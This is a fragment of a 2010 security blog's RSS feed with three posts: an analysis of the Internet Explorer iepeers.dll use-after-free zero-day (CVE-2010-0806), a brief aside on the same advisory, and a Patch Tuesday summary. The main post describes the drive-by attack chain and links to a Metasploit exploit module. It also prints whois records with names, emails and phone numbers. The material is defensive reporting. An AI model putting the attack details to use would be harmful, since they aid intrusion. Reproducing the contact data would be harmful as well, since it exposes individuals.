		<description><![CDATA[We posted an aside yesterday referencing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft's recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of "limited targeted attacks" to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_burning-150x150.jpg" alt="ie_burning" title="ie_burning" width="150" height="150" class="alignleft size-thumbnail wp-image-3526" /></a></p>

<p>We posted an aside yesterday citing <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">Microsoft&#8217;s recent blog post</a> for <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">new security advisory 981374</a> referencing a new zero day vulnerability in Internet Explorer versions 6 and 7. New details have emerged since, and the exploit has moved from being what was described as part of &#8220;limited targeted attacks&#8221; to being widely accessible and <a href="http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb">available as a new module for the Metasploit framework</a>.</p>

<p>The major concern as always with vulnerabilities like this one is that the user needs only to visit a web site hosting the exploit to have their computer infected (there is no visible sign of a download or other user interaction required).</p>

<p>The vulnerability is a use after free vulnerability (memory is deallocated but then later accessed causing unexpected results such as a crash or arbitrary code execution) where an invalid reference is made to a freed pointer in the file iepeers.dll. This type of code error is fairly common, this is the second major instance of this type of error in Internet Explorer recently (with the well publicized <a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">&#8216;Google Aurora&#8217; attack</a> being associated with a similar type of code defect in the popular browser).</p>

<p>In terms of impact, together these two versions of IE account for approximately 20% of the browser market share. Microsoft has referenced protected mode, enabling Data Execution Prevention (DEP), and not running as a high privilege user (admin) as possible mitigating steps. While always a good idea, we&#8217;ve seen in the past methods that allow both DEP and protected mode to be bypassed. In terms of user privileges, its never a good idea to browse the Internet as a high privilege user, however user escalation vulnerabilities can be employed by the attacker once access is gained to the computer.  The net of this is that the most effective mitigations available are to, if you are very concerned, temporarily use a different browser and that a patch be made available in a timely manner by Microsoft.</p>

<h3>The Exploit</h3>

<p>As <a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">provided by Trancer</a> (Moshe Ben Abu) with modifications to the original that unobfusticate portions of code and remove the malware payload:</p>

<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/ie_peers.jpg" alt="ie_peers" title="ie_peers" width="751" height="518" class="alignnone size-full wp-image-3598" /></a>
<br /></p>

<h3>The Attack</h3>

<p>The specific attack noticed on a web site (now down) called Topix21century.com occurs as follows:</p>

<ul>
<li>A user visits the web site, and a file called notes.exe or svohost.exe is downloaded and executed (drive by download).</li>
<li>This executable creates two copies of itself in the /temp directory and drops a .dll file which is then injected into the process for Internet Explorer, providing back door remote access to the computer for the attacker.</li>
<li>Once the attacker is in the system, he or she can perform actions as the user including attempting to escalate privileges, downloading files, etc.. </li>
<li>Activity was noted by McAfee where the infected system attempts to create an SSL connection to communicate with the domain: notes.topix21century.com.</li>
</ul>

<h3>Topix21century.com</h3>

<p>The only references to this topix21century.com site we noted are links in Japanese language forums referencing pictures of women in the Japanese Self-Defense Force.</p>

<p>The site is hosted on ISP GoDaddy, a geolocation lookup on the IP (68.178.232.100) shows a location of Scottsdale, Arizona.</p>

<p>The whois for the site hosting the exploit is as follows:</p>

<pre><code>Registrant:
   jack lee
   13block
   LA, California 55462
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: TOPIX21CENTURY.COM
      Created on: 06-Mar-10
      Expires on: 06-Mar-11
      Last Updated on: 06-Mar-10

   Administrative Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Technical Contact:
      lee, jack  robertwanger@aol.com
      13block
      LA, California 55462
      United States
      (818) 581-6872      Fax -- 

   Domain servers in listed order:
      NS17.DOMAINCONTROL.COM
      NS18.DOMAINCONTROL.COM
</code></pre>

<p>A similar registrar entry is listed for the domain hotgreenlight.com, currently a parked domain:</p>

<pre><code>Registrant:
   thomason lee
   12block
   LA, California 95512
   United States

   Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
   Domain Name: HOTGREENLIGHT.COM
      Created on: 18-Dec-09
      Expires on: 18-Dec-10
      Last Updated on: 18-Dec-09

   Administrative Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Technical Contact:
      lee, thomason  robert.wanger@hotmail.com
      12block
      LA, California 95512
      United States
      (626) 395-6544      Fax -- 

   Domain servers in listed order:
      NS61.DOMAINCONTROL.COM
      NS62.DOMAINCONTROL.COM
</code></pre>

<h3>McAfee and Blame? (Update 03/11)</h3>

<p>For some silly reason, McAfee Labs is eating some blame over being transparent and informative in their Avert Labs post on Tuesday. When Israeli security researcher Moshe Ben Abu (who is a legitimate security researcher not some shadowy underworld black hat) noticed the post had a URL reference to Topix21century.com, he went and had a look at the site, analyzed how the exploit worked, and made a contribution to the Metasploit project detailing how the exploit functions.</p>

<p>Or put another way, he analyzed <b>an existing exploit being used by attackers</b> and took the time to explain it. He didn&#8217;t invent it, use it to compromise computers, or any other related black hat activity. Some will argue that he amplified its effect, something that would require an entire blog post to dispute, so we won&#8217;t get into it here.</p>

<p>Ryan Naraine highlights this flow, but passes no judgment on it in an article on <a href="http://blogs.zdnet.com/security/?p=5666">ZD Net</a>. Unfortunately fellow CNET journalist Elinor Mills <a href="http://news.cnet.com/8301-27080_3-10467673-245.html">takes it a step further</a>, suggesting by inference (by asking McAfee to &#8220;respond&#8221;) that the anti-virus company has some culpability here, to which McAfee responded:</p>

<p><i>&#8220;McAfee Labs does not support the release of exploit code, particularly in advance of a security patch being made available. We regularly sanitize blog content to prevent providing information that might assist attackers, while at the same time providing a service to customers and the security community to help improve protection levels,&#8221; the spokesman said in a statement via e-mail. &#8220;The post in question did not contain enough information to directly lead anyone to exploit code. However, we regret that in this unique situation the post did contain details that may have given exploit writers a starting point to hunt for exploit code. Future blog posts will be subject to additional sanitization.&#8221;</i></p>

<p>Such &#8220;sanitization&#8221;, a great Orwellian word, means that blog posts will be slower to publish (going through further &#8216;review&#8217; cycles) and contain a less complete picture of what has happened. Interestingly, since McAfee does not have the Amazing Kreskin working for them, they get information like everyone else, by having customers or related parties share it with them (presumably in un-sanitized form).</p>

<p>For anyone who hangs around in black/gray hat discussion forums, you don&#8217;t see Plato&#8217;s dialogues going on in there, but you do note that the yin side of the information security paradigm is pretty good at disseminating vulnerability information post discovery.</p>

<p>Worse yet, the response is contradictory, stating on one hand that the information in the post was appropriate and did not assist &#8220;attackers&#8221; (Abu is still not an attacker, so assuming they mean groups working off the Metasploit module), but then reverses itself and says they regret the post and will &#8217;sanitize&#8217; more in the future.</p>

<p>The problem is that the analysis of the exploit had a lot more to do with the analytical talent of Abu and not a whole lot to do with the somewhat refreshing transparency that has marked McAfee&#8217;s blogs since the Google Aurora incident. Unfortunately, looking at the response above, this period of valuable content may be at this corporate censored end.</p>

<p>Further, as Abu himself points out, he would have found the exploit code anyway regardless of any McAfee post.</p>

<h3>Finally</h3>

<p>The timing of this could be better for Microsoft, in that this closely follows the Aurora incident with Google that played out so publicly, and the defect is a nearly identical type of problem. That said, the saving grace for Microsoft in the retail market is that the IE 8 code is stated to not be affected, and Redmond would prefer you upgrade to the latest and greatest anyway.</p>

<p>The anti-virus vendors largely have the original payload on this one figured out, but unfortunately the payload can be changed as the infection vector is the thing to worry about. For that to be corrected, Microsoft will have to issue a patch.  You do have the option of temporarily using another browser, or alternatively upgrading to IE version 8, which is currently reported to not be affected.</p>

<p>This advice is reasonable for the home user, however upgrading the browser on a large corporate network is no small thing. For that reason we advise waiting for the patch, and applying it within a shortened cycle, as in terms of vulnerabilities, remote browser exploits that require no user interaction are somewhat critical problems. As always, users should avoid links to sites they&#8217;re not familiar with, but in practice this is very difficult as almost everyone is susceptible to some form of an effective social engineering trick (a targeted phishing e-mail or IM seemingly from a friend and so forth).</p>

<p>Regarding the tempest in a teapot around the the McAfee Avert Labs blog post by Craig Schmugar and the responses of a tired drumbeat of worn out points around responsible disclosure, its time for some in the security industry to grow up a little bit. Transparency and the near free flow of shared information are the only way the defensive side of information security can hope to catch up to the attackers.</p>

<h3>References</h3>

<ul>
<li><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806">CVE-2010-0806</a></li>
<li><a href="http://osvdb.org/show/osvdb/62810">OSVDB 62810</a></li>
<li><a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">MSFT Security Advisory 981374</a></li>
<li><a href="http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/">Targeted Internet Explorer Zero-Day &#8211; McAfee Labs</a></li>
<li><a href="http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/">Microsoft Internet Explorer iepeers.dll use-after-free exploit</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/windows-smb-crash-video/">Windows 7 SMB Kernel Crash Video</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/juniper-kernel-crash-scapy-code/">Juniper Kernel Crash &#8211; scapy Code</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/junos-juniper-kernel-crash-video/">JUNOS (Juniper) Kernel Crash Video</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/iepeers-a-new-internet-explorer-zero-day-vulnerability/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Microsoft IE 6 &amp; 7 Zero-day (Aside)</title>
		<link>http://praetorianprefect.com/archives/2010/03/microsoft-ie-6-7-zero-day-aside/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/microsoft-ie-6-7-zero-day-aside/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 22:00:45 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Asides]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3489</guid>
		<description><![CDATA[A blog post on the MSRC web site warned of a new zero-day in Internet Explorer versions 6 and 7 running on Windows XP, Windows 2000, or Windows 2003. The post references Security Advisory (981374), and at this time there aren&#8217;t many details about the vulnerability other than what MS has stated in the advisory.

Related [...]]]></description>
			<content:encoded><![CDATA[<p>A <a href="http://blogs.technet.com/msrc/archive/2010/03/09/security-advisory-981374-released.aspx">blog post</a> on the MSRC web site warned of a new zero-day in Internet Explorer versions 6 and 7 running on Windows XP, Windows 2000, or Windows 2003. The post references <a href="http://www.microsoft.com/technet/security/advisory/981374.mspx">Security Advisory (981374)</a>, and at this time there aren&#8217;t many details about the vulnerability other than what MS has stated in the advisory.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/01/microsoft-posts-advanced-notification-for-out-of-band-patch/">Microsoft Posts Advanced Notification for Out of Band Patch</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/smb-bug-wont-be-patched-in-january/">SMB Bug won&#8217;t be patched in January</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/taxonomy-of-forensics-geeks/">Taxonomy of Forensics Geeks</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/11/1566/">What DNS is not</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/10/replace-watch-swf-with-warp-swf-on-youtube/">Replace watch.swf with warp.swf on YouTube</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/microsoft-ie-6-7-zero-day-aside/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>March&#8217;s Patch Tuesday</title>
		<link>http://praetorianprefect.com/archives/2010/03/3473/</link>
		<comments>http://praetorianprefect.com/archives/2010/03/3473/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 20:38:40 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Patch Management]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[excel]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[office]]></category>
		<category><![CDATA[office for mac]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[patch tuesday]]></category>
		<category><![CDATA[updates]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3473</guid>
		<description><![CDATA[<a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="150" height="150" class="alignleft size-full wp-image-3484" /></a>

Today is patch Tuesday for March 2010, and Microsoft has released two security bulletins for this round of updates, neither of which are deemed critical. The second bulletin addresses seven different vulnerabilities across various versions of Microsoft Office Excel.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/03/msft_logo.jpg" alt="msft_logo" title="msft_logo" width="150" height="150" class="alignleft size-full wp-image-3484" /></a></p>

<p>Today is patch Tuesday for March 2010, and Microsoft has released two security bulletins for this round of updates, neither of which are deemed critical. The second bulletin addresses seven different vulnerabilities across various versions of Microsoft Office Excel.</p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/bulletin/ms10-016.mspx">MS10-016</a><br />
<strong>Title:</strong> Vulnerabilities in in Windows Movie Maker Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> There is a buffer overflow in the Windows Movie Maker and MS Producer 2003 which can lead to code execution. Movie Maker 2.1 is included with Windows XP SP2 and SP3, and Movie Maker 6.0 is included with Vista. Movie Maker 2.6 is an optional download for Vista and Windows 7.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> This is deemed important instead of critical due to the user having to run content which exploits the vulnerability. A user would have to be tricked into opening a Movie Maker project file (mswmm) to be exploited. This can be updated in your next patch cycle, and is not considered urgent. <br /></p>

<hr />

<p><strong>ID:</strong> <a href="http://www.microsoft.com/technet/security/Bulletin/MS10-017.mspx">MS10-017</a><br />
<strong>Title:</strong> Vulnerability in Microsoft Office Excel Could Allow Remote Code Execution<br />
<strong>Microsoft Severity:</strong> Important<br /></p>

<p><strong>Summary:</strong> This update addresses seven different vulnerabilities related to Microsoft Office Excel. Each vulnerability may affect one or more of the following versions: Office Excel 2003 SP3, Office Excel 2003 SP3, Office Excel 2007 SP1 and SP2, Office 2004 for Mac, Office 2008 for Mac, Open XML File Format Converter for Mac, Office Excel Viewer SP1 and SP2, Office Compatibility Pack for Word, Excel, and Powerpoint 2007 File Formats SP1 and SP2, and Office SharePoint Server 2007 SP1 and SP2.<br /></p>

<p><strong>Praetorian&#8217;s Recommendation:</strong> Although the same requirement exists as MS10-016 for users to open malicious files, Excel formats are more recognizable and phishing and social engineering techniques can be more successful with a known or common file format. This can be updated in your next patch cycle, but should warrant more attention than MS10-017.<br /></p>

<hr />

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/02/februarys-patch-tuesday/">February&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/disable-acrobat-reader-pdf-in-the-enterprise/">Using Group Policy to Disable JavaScript in Adobe PDF Files</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/03/3473/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
